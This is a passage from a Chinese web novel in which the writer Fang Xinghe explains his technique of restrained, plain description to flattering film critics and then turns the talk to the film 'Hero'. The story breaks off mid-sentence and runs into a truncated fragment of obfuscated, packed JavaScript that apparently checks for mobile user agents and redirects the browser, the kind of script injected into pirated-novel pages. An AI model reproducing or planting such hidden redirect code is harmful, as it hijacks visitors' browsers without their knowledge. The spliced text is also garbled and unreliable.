做比喻类的修辞,只叙述,读起来却如此动人,这种对文字的驾驭感,是否有练习方法?”
其实斯蒂芬·亨特的问题比呈现出来的更复杂,他足够专业,所以提的问题也很深刻细致,甚至细致到了具体的某一个句子或者单词。
而方大师只是摊开手,遗憾道:“亲爱的亨特先生,用英文进行白描和用中文进行白描是截然不同的两件事,我不认为英译本的《性》真正展现了我的文章的灵魂,所以我只能粗略的和您分享一点我的写作技巧。
——当情绪激荡到极致时,努力让文字本身平静下来,摒弃所有花俏,尽力陈述客观细节。
愤怒等情绪,不应当影响文字本身,应当在潜移默化中影响行文的格式、关系、局面,最终让读者从自己内心去感受力量,而不是感受你用力量写下的文字。”
“哗哗哗……”
周围响起一片热烈的掌声。
作家们……影评家们不管听没听懂,反正一点不吝啬捧方星河的香脚。
因为他们不是正统作家,处于文字工作者鄙视链的最低端,而方星河老师不一样,方老师可是天才作家,高人一等。
当然,大部分水平足够的影评人,是能够体会到方老师这番话的含金量的,称之为真知灼见也不过分。
面对滔滔不绝的奉承,方星河谦虚摆手。
“打篮球或者拍动作戏,我是当仁不让的世界第一,但在文学领域,我只是一个追随前辈脚步的小学生,不如让我们聊聊电影?我对《英雄》充满了信心……”
影评人们也对《英雄》充满了信心。
他们纷纷暗下决定:
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,